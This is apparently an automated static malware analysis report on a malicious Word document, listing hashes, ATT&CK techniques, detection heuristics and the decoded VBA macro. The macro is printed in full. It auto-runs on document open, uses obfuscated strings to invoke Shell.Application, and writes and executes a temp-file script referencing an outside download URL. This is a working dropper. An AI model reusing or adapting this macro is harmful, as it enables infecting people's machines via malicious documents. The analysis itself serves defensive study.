Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 56b68e35abfac35b…

MALICIOUS

Office (OLE)

34.5 KB Created: 2016-03-20 18:37:00 Authoring application: Microsoft Office Word First seen: 2019-02-04
MD5: 038ddddbbc0bd712fa148b388ce738e9 SHA-1: 3f0dc94094d1c80fb8d29860cf778a3a9b236959 SHA-256: 56b68e35abfac35b77bfd65d5ccb9e9003ead4d93bc1bbe28ecb31f83738b528
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro constructs a path to a temporary file and writes a string containing a URL to it. It then uses CreateObject to execute this file, likely downloading and running a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-1564641' further supports its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-1564641 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1564641
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://connect.businesshelpa-z.com/dana/home.php In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1749 bytes
SHA-256: a625b4b8063baf3957433968783a96f759467875d049321c088fac8ae305a30b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim nbvcxzasd
sadasdlonk = "HGFDSEWRF = ""http://connect.businesshelpa-z.com/dana/home.php"""
ihasdls = "hel"
hasbkj = "dfsdf"
saper = "plica"
jkbzkxc = ".V"
Dim LRnypy As String
Dim AylquPK As Integer
Dim NESRGxixz As Integer
Dim amlriThqqCe As Long
Dim RZhMUYS, MKBAavWTAriycfdxu, uwTNIKeu, oEywRhug As String
Dim Kct As String
Dim gTgHnebIocrnd As Integer
Dim hRLehXpUsDThXcWIzyPSP As Integer
Dim jbsbBgVZTCCNVQ As Long
Dim UveeUk As Single, yMIULwHkqjXQhXdql As Byte, oNEKlftiDYfhtIZR As String, AOqkNrbgWkGcrLg As String
If "aTSVMAXZIFmC" = "bBFwK" Then
GoTo Qdhvmos
Qdhvmos:
MsgBox "ELnAcKwVqMVPVuYVahRe", vbCritical, "rUMppvdPwncHXQqpLE"
End If
     Dim yhtgfdcxc As Integer
     yhtgfdcxc = FreeFile
          hgvfcdsfdsfff = Environ("TEMP") & "\dsfs" + hasbkj + jkbzkxc + "BE"
          
    Open hgvfcdsfdsfff For Output As #yhtgfdcxc
    Print #yhtgfdcxc, sadasdlonk
    Print #yhtgfdcxc, UserForm1.TextBox1
            Close #yhtgfdcxc
            
Set HGFDSAD = CreateObject("S" + ihasdls + "l.Ap" + saper + "tion")
HGFDSAD.Open hgvfcdsfdsfff
End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{3828C63F-042E-4DE1-9B9D-B412647B02B2}{7D07ED3A-5DB4-4208-900C-63002873D5E0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False